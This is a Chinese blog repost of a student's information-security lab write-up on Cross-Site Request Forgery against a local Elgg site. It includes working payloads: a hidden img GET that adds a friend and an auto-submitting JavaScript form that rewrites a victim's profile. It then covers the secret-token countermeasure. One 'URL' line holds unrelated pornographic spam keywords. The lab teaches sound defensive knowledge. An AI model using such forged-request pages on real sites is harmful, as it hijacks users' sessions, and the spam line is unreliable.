【科软课程-信息安全】Lab10 Cross-Site Request Forgery (CSRF) Attack

本文主要是介绍【科软课程-信息安全】Lab10 Cross-Site Request Forgery (CSRF) Attack,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

1.0 概述

2.0实验环境

3.0 实验任务

3.1  task1 观察HTTP请求

3.2 task2 使用获取请求的CSRF攻击

3.3 task3 使用开机自检请求的CSRF攻击

3.4 task4 为Elgg实施对策


1.0 概述

本实验的目的是帮助学生理解跨站点请求伪造(CSRF)攻击。CSRF攻击涉及受害用户、可信站点和恶意站点。受害用户在访问恶意站点时与受信任站点保持活动会话。恶意站点将对受信任站点的HTTP请求注入受害用户会话,从而造成损害。

在本实验中,学生将使用CSRF攻击来攻击社交网络应用程序。开源的社交网络应用程序叫做Elgg,它已经安装在我们的虚拟机中了。Elgg有对付CSRF的对策,但是我们为了这个实验室的目的已经关掉了。本实验涵盖以下主题:

  • 跨站点请求伪造攻击
  • CSRF对策:秘密令牌和同站点cookie
  • 获取和发布请求
  • JavaScript和Ajax

2.0实验环境

本实验只能在我们的Ubuntu 16.04虚拟机中进行,因为我们已经执行了支持本实验的配置。我们在本节中总结了这些配置。

Elgg网络应用。在本实验中,我们使用了一个名为Elgg的开源网络应用程序。Elgg是一个基于网络的社交网络应用。它已经在预先构建的Ubuntu虚拟机映像中设置好了。我们还在Elgg服务器上创建了几个用户帐户,凭据如下:

域名系统配置。这个实验涉及两个网站,受害者网站和攻击者网站。这两个网站都是在我们的虚拟机上设置的。它们的网址和文件夹描述如下:

Attacker’s website
URL: http://www.csrflabattacker.com
Folder: /var/www/CSRF/Attacker/

Victim website (Elgg)
URL: http://www.csrflabelgg.com
Folder: /var/www/CSRF/Elgg/

上述网址只能从虚拟机内部访问,因为我们修改了/etc/hosts文件,将每个网址的域名映射到虚拟机的本地IP地址(127.0.0.1)。您可以使用/etc/hosts将任何域名映射到特定的IP地址。例如,您可以通过将以下条目附加到/etc/hosts,将http://www.example.com映射到本地IP地址:

127.0.0.1          www.example.com

如果您的网络服务器和浏览器运行在两台不同的机器上,您需要相应地修改浏览器机器上的/etc/hosts,以将这些域名映射到网络服务器的IP地址,而不是127.0.0.1。

Apache配置。在我们预先构建的虚拟机映像中,我们使用Apache服务器来托管实验室中使用的所有网站。Apache中基于名称的虚拟主机功能可以用来在同一台机器上托管多个网站(或网址)。目录"/etc/ apache2/sites-available "中名为000-default.conf的配置文件包含配置的必要指令:

在配置文件中,每个网站都有一个VirtualHost块,该块指定网站的网址和包含网站源的文件系统中的目录。以下示例显示如何配置一个网址为http://www.example1.com的网站和另一个网址为http://www.example2.com的网站:

<VirtualHost *80>
ServerName  http://www.example1.com
DocumentRoot /var/www/Example_1/
</VirtualHost>

<VirtualHost *80>
ServerName http://www.example2.com
DocumentRoot /var/www/Example_2/
</VirtualHost>

您可以通过访问上述目录中的源代码来修改web应用程序。例如,使用上述配置,可以通过修改/var/www/Example_1/目录中的源来更改网络应用程序http://www.example1.com。对配置进行更改后,Apache服务器需要重新启动。请参见以下命令:

$ sudo service apache2 start

 实验步骤:

查看攻击者网站:

 查看受害者网站:

3.0 实验任务

对于实验任务,您将使用虚拟机中本地设置的两个网站。第一个网站是位于www.csrflabelgg.com的易受攻击的Elgg网站,位于虚拟机内部。第二个网站是攻击者用来攻击Elgg的恶意网站。该网站可通过虚拟机内部的www.csrflabattacker.com访问。

3.1  task1 观察HTTP请求

在跨站点请求伪造攻击中,我们需要伪造HTTP请求。因此,我们需要知道一个合法的HTTP请求是什么样子的,使用什么参数等等。我们可以为此使用一个名为“HTTP Header Live”的Firefox插件。这个任务的目标是熟悉这个工具。指南部分(4.1)给出了如何使用该工具的说明。请使用此工具在Elgg中捕获一个HTTP GET请求和一个HTTP POST请求。在您的报告中,请确定这些请求中使用的参数(如果有)。

实验步骤:

打开控制台监看请求数据:

打开网页的登录界面、登录alice用户:

查看HTTP请求:(POST请求)

点击Friend按钮:

查看HTTP请求:(GET)

3.2 task2 使用获取请求的CSRF攻击

在这项任务中,我们需要Elgg社交网络中的两个人:Alice和Boby。Boby想成为Alice的朋友,但Alice拒绝将他添加到她的Elgg朋友列表中。Boby决定用CSRF进攻来达到他的目标。他给Alice发了一个网址(通过电子邮件或Elgg的帖子);Alice对此很好奇,她点击了链接,链接指向Boby的网站:www.csrflabattacker.com。假设你是Boby,描述你可以如何构造网页的内容,这样爱丽丝一访问网页,Boby就被添加到Alice的好友列表中(假设Alice和Elgg有一个活动会话)。

要向受害者添加朋友,我们需要识别合法的添加朋友HTTP请求(GET请求)是什么样子的。我们可以使用“HTTP Header Live”工具进行调查。在此任务中,不允许您编写JavaScript代码来发起CSRF攻击。您的工作是在Alice访问网页时立即使攻击成功,甚至不需要在网页上进行任何点击(提示:您可以使用img标签,它会自动触发HTTP GET请求)。

Elgg加实施了一项对抗CSRF袭击的对策。在添加朋友的HTTP请求中,您可能会注意到每个请求都包括两个看起来像有线的参数,elggtselggtoken。这些参数由对策使用,因此如果它们不包含正确的值,Elgg将不会接受该请求。我们已经禁用了本实验的对策,因此没有必要在伪造的请求中包含这两个参数

实验步骤:

登录Boby用户、找到添加好友、搜索alice、然后添加:

Boby好友:

查看HTTP请求头参数:

URL:色婷婷亚洲婷婷七月中文字幕_国产精品区一区第一页_无码超级大爆乳在线观看_偷拍亚洲另类无码专区制服


伪造一个跨站GET请求来添加好友:

<html>
<body>
<h1>This page forges an HTTP GET request.</h1>
<img src="http://www.csrflabelgg.com/action/friends/add?friend=42" alt="image" witdh="1" height="1" />
</body>
</html>

打开控制台:(root权限下) vim addfriend.html

copy到攻击网站的主页:

然后Boby给Alice发一条消息、Alice点击后、Boby就出现在Alice的好友列表里

alice登录:

点击消息:

好奇的alice打开了这个网站:

(CSRF攻击成功)于是alice并没有添加boby、boby却已经是alice的好友了:

3.3 task3 使用开机自检请求的CSRF攻击

在把自己加入Alice的好友名单后,Boby想做更多的事情。他想让Alice在她的简介中说“Boby是我的英雄”,所以每个人都知道这一点。Alice不喜欢Boby,更不用说把这句话写进她的简介里了。Boby计划用CSRF进攻来达到这个目标。这就是这项任务的目的。

攻击的一种方法是向Alice的Elgg帐户发布一条消息,希望Alice能点击消息中的网址。这个网址将引导Alice到你的(即Boby的)恶意网站www . csrflabattacker.com,在那里你可以发动CSRF攻击。

你攻击的目的是修改受害者的简介。特别是,攻击者需要伪造一个请求来修改Elgg受害用户的配置文件信息。允许用户修改他们的个人资料是Elgg的一个特性。如果用户想修改他们的配置文件,他们会转到Elgg的配置文件页面,填写一个表单,然后将表单提交给服务器端脚本/配置文件/编辑. php,后者处理请求并进行配置文件修改。

htttp://www.csrflabelgg.com/action/profile/edit
POST /action/profile/edit HTTP/1.1 Host: www.csrflabelgg.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:23.0) ...
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://www.csrflabelgg.com/profile/elgguser1/edit
Cookie: Elgg=p0dci8baqrl4i2ipv2mio3po05
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length:642 &__elgg_token=fc98784a9fbd02b68682bbb0e75b428b&__elgg_ts=1403464813 ✰ &name=elgguser1&description=%3Cp%3Iamelgguser1%3C%2Fp%3E &accesslevel%5Bdescription%5D=2&briefdescription=Iamelgguser1 &accesslevel%5Bbriefdescription%5D=2&location=US
......

在理解了请求的结构之后,您需要能够使用JavaScript代码从您的攻击网页中生成请求。为了帮助您编写这样一个JavaScript程序,我们在下面提供了一个示例代码.您可以使用这个示例代码来构建针对CSRF攻击的恶意网站。这只是一个示例代码,您需要对其进行修改,以使其适用于您的攻击。

<html>
<body>

<h1>This  pages forges an HTTP POST request.</h1>

<scripts type="text/javascript">

function forge_post(){

var fileds;

// The following are form entries need to be filled out by attackers.
// The entries are made hidden, so the victim won’t be able to see them.
fields += "<input type=’hidden’ name=’name’ value=’****'>";
fields += "<input type=’hidden’ name=’briefdescription’ value=’****’>";
fields += "<input type=’hidden’ name=’accesslevel[briefdescription]’ value=’2’>"; ➀
fields += "<input type=’hidden’ name=’guid’ value=’****’>";

}

</body>

</html>

在第①行中,值2将字段的访问级别设置为公共。这是必需的,否则,访问级别将默认设置为私有,因此其他人无法看到此字段。应该注意的是,当从一个PDF文件中复制并播放上述代码时,程序中的单引号字符可能会变成其他字符(但看起来仍然像单引号)。这将导致语法错误。将所有单引号符号替换为从键盘上键入的符号将修复这些错误。 

除了详细描述您的攻击之外,您还需要在报告中回答以下问题:

  • 问题1:伪造的HTTP请求需要Alice的用户id (guid)才能正常工作。如果Boby专门针对Alice,那么在攻击之前,他可以想办法获取Alice的用户id。Boby不知道Alice的Elgg密码,所以无法登录Alice的账户获取信息。请描述一下Boby如何解决这个问题。
  • 问题2:如果boby想对任何访问他恶意网页的人发起攻击。在这种情况下,他事先不知道谁在访问网页。他还能发动CSRF袭击来修改受害者的Elgg档案吗?请解释。

实验步骤:

<html><body><h1>This page forges an HTTP POST request.</h1><script type="text/javascript">function forge_post(){var fields;fields = "<input type='hidden' name='name' value='Alice'>";fields += "<input type='hidden' name='description' value='Boby is my Hero'>";fields += "<input type='hidden' name='accesslevel[description]' value='2'>";fields += "<input type='hidden' name='guid' value='42'>";var p = document.createElement("form");p.action = "http://www.csrflabelgg.com/action/profile/edit";p.innerHTML = fields;p.method = "post";document.body.appendChild(p);p.submit();}window.onload = function(){forge_post();}</script></body>
</html>

打开终端、创建一个edit.html文件:内容是以上代码 

复制到攻击者网站:

boby再发一次该网站给alice、让她点击、点击后alice的签名被修改:

 

问题1:

答:boby向alice添加好友的时候、打开控制台,可以看到http请求的URL中、有附带了参数friend=42,就可以拿到alice的用户id了、就可以进行攻击了。

问题2:

答:不能攻击成功。因为攻击网页的用户id已经写好了,除了指定的用户访问能受攻击成功外,其他用户都不会受到攻击。

3.4 task4 为Elgg实施对策

Elgg公司确实有一个内置的反制措施来抵御CSRF的攻击。我们已经评论了使攻击奏效的对策。CSRF不难防御,有几种常见的方法:

  • 秘密令牌方法:网络应用程序可以在其页面中嵌入一个秘密令牌,来自这些页面的所有请求都将携带这个令牌。因为跨站点请求无法获得此令牌,所以它们的伪造请求很容易被服务器识别。
  • 引用头方法:网络应用程序也可以使用引用头来验证请求的原始页面。然而,出于隐私考虑,该报头信息可能已经在客户端被过滤掉了。

网络应用程序Elgg使用秘密令牌方法。它在请求中嵌入了两个参数elggts和elggtoken,作为对CSRF攻击的对策。这两个参数被添加到用于POST请求的HTTP消息体和用于HTTP GET请求的URL字符串中。

Elgg请求正文中的秘密令牌和时间戳。Elgg将安全令牌和时间戳添加到所有要执行的用户操作中。下面的HTML代码出现在所有需要用户操作的表单中。此代码向开机自检请求添加了两个新的隐藏参数elggtselggtoken:

<input type = "hidden" name = "__elgg_ts" value = "" />
< input type = "hidden" name = "__elgg_ts" value = ""/>

 elggts和elgg/token由视图/default/input/securitytoken生成。php模块并添加到网页中。下面的代码片段显示了如何将其动态添加到网页中。

$ts = time(); $token = generate_action_token($ts);
echo elgg_view(’input/hidden’, array(’name’ => ’__elgg_token’, ’value’ => $token));
echo elgg_view(’input/hidden’, array(’name’ => ’__elgg_ts’, ’value’ => $ts));

Elgg还在JavaScript中添加了安全令牌和时间戳,可以通过 

elgg.security.token.__elgg_ts;
elgg.security.token.__elgg_token;

PHP函数sessionid()用于获取或设置当前会话的会话id。下面的代码片段显示了除了公共用户会话标识之外,为给定会话标识随机生成的字符串。

...... // Generate a simple token (private from potentially public session id)
if (!isset($_SESSION[’__elgg_session’])) {
$_SESSION[’__elgg_session’]=
ElggCrypto::getRandomString(32,ElggCrypto::CHARS_HEX);
........

Elgg秘密令牌验证。elgg网络应用程序验证生成的令牌和时间戳,以抵御CSRF攻击。每个用户操作都调用validateactiontoken函数,该函数验证令牌。如果令牌不存在或无效,操作将被拒绝,用户将被重定向。

下面的代码片段显示了validateactiontoken函数。

function validate_action_token($visibleerrors = TRUE, $token = NULL, $ts =
NULL)
{
if (!$token) { $token = get_input(’__elgg_token’); }
if (!$ts) {$ts = get_input(’__elgg_ts’); }
$session_id = session_id();
if (($token) && ($ts) && ($session_id)) {
// generate token, check with input and forward if invalid
$required_token = generate_action_token($ts);
// Validate token
if ($token == $required_token) {
if (_elgg_validate_token_timestamp($ts)) {
// We have already got this far, so unless anything
// else says something to the contrary we assume we’re ok
$returnval = true;
......
}
else {
......
register_error(elgg_echo(’actiongatekeeper:tokeninvalid’));
......
}
......
}

开启对策。要打开对策,请访问目录/var/www/CSRF/

Elgg/vendor/Elgg/Elgg/engine/class/Elgg并在ActionsService.php文件中找到功能看门人。在功能网守()中,请注释掉“return true”;代码注释中指定的语句。

public function gatekeeper($action) {
//SEED:Modified to enable CSRF.
//Comment the below return true statement to enable countermeasure
return true;
......
}

任务:开启上述对策后,再次尝试CSRF攻击,并描述你的观察。请指出使用Firefox的HTTP检查工具捕获的HTTP请求中的秘密令牌。请解释为什么攻击者不能在CSRF攻击中发送这些秘密令牌;是什么阻止他们从网页上找到秘密令牌?

实验步骤:

打开ActionsService.php文件、找到gatekeeper函数、将return true注释掉,再重新做一次攻击

(快速找gatekeeper函数:按Esc,:/gatekeeper($action) ,回车即可定位到该函数)

重复攻击(修改签名):

首先把alice的签名改回来

然后alice再次打开攻击网站:

没有像上次一样跳转并且签名被修改,说明CSRF攻击失败。

查看秘密令牌与时间戳:

因为要成功攻击,攻击者需要了解秘密令牌的值以及目标用户的Elgg页面内嵌的时间戳,然而,浏览器的访问控制机制会阻止攻击者网页的JavaScript代码访问Elgg页面的任何内容。

这篇关于【科软课程-信息安全】Lab10 Cross-Site Request Forgery (CSRF) Attack的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/166785

相关文章

cross-plateform 跨平台应用程序-03-如果只选择一个框架,应该选择哪一个?

跨平台系列 cross-plateform 跨平台应用程序-01-概览 cross-plateform 跨平台应用程序-02-有哪些主流技术栈? cross-plateform 跨平台应用程序-03-如果只选择一个框架,应该选择哪一个? cross-plateform 跨平台应用程序-04-React Native 介绍 cross-plateform 跨平台应用程序-05-Flutte

系统架构设计师: 信息安全技术

简简单单 Online zuozuo: 简简单单 Online zuozuo 简简单单 Online zuozuo 简简单单 Online zuozuo 简简单单 Online zuozuo :本心、输入输出、结果 简简单单 Online zuozuo : 文章目录 系统架构设计师: 信息安全技术前言信息安全的基本要素:信息安全的范围:安全措施的目标:访问控制技术要素:访问控制包括:等保

《数字图像处理(面向新工科的电工电子信息基础课程系列教材)》P98

更改为 差分的数学表达式从泰勒级数展开式可得: 后悔没听廖老师的。 禹晶、肖创柏、廖庆敏《数字图像处理(面向新工科的电工电子信息基础课程系列教材)》 禹晶、肖创柏、廖庆敏《数字图像处理》资源二维码

Vue3上传图片报错:Current request is not a multipart request

当你看到错误 "Current request is not a multipart request" 时,这通常意味着你的服务器或后端代码期望接收一个 multipart/form-data 类型的请求,但实际上并没有收到这样的请求。在使用 <el-upload> 组件时,如果你已经设置了 http-request 属性来自定义上传行为,并且遇到了这个错误,可能是因为你在发送请求时没有正确地设置

使用http-request 属性替代action绑定上传URL

在 Element UI 的 <el-upload> 组件中,如果你需要为上传的 HTTP 请求添加自定义的请求头(例如,为了通过身份验证或满足服务器端的特定要求),你不能直接在 <el-upload> 组件的属性中设置这些请求头。但是,你可以通过 http-request 属性来自定义上传的行为,包括设置请求头。 http-request 属性允许你完全控制上传的行为,包括如何构建请求、发送请

code: 400, msg: Required request body is missing 错误解决

引起这个错误的原因是,请求参数按照get方式给。 应该给json字符串才对 补充: 1. @RequestBody String resource 加@RequestBody必须给json字符串,否则会报错400,记如标题错误。 不加这个的进行请求的话,其实post和get就没有什么区别了。 2. List<String> indexCodes=(List<String>)json.

FORM的ENCTYPE=multipart/form-data 时request.getParameter()值为null问题的解决

此情况发生于前台表单传送至后台java servlet处理: 问题:当Form需要FileUpload上传文件同时上传表单其他控件数据时,由于设置了ENCTYPE=”multipart/form-data” 属性,后台request.getParameter()获取的值为null 上传文件的参考代码:http://www.runoob.com/jsp/jsp-file-uploading.ht

兔子-(PHP 5.3 and above) Please set 'request_order' ini value to include C,G and P (recommended: 'CGP'

由于在PHP最新的版本中增加了一个配置项目“request_order”,默认值为“GP”,这个存在一定的安全风险。这里我们建议用户将配置更改为“CGP” 可以在php的安装目录下找到php.ini配置目录,找到下面选项: request_order = "GP"  更改为 request_order = "CGP"   重启服务器后即可。 此

【python 爬虫】python如何以request payload形式发送post请求

普通的http的post请求的请求content-type类型是:Content-Type:application/x-www-form-urlencoded, 而另外一种形式request payload,其Content-Type为application/json import jsonurl = 'https://api.github.com/some/endpoint'payload

【python requests警告】python3.x requests库取消ssl验证,InsecureRequestWarning: Unverified HTTPS request is be

警告信息: InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warni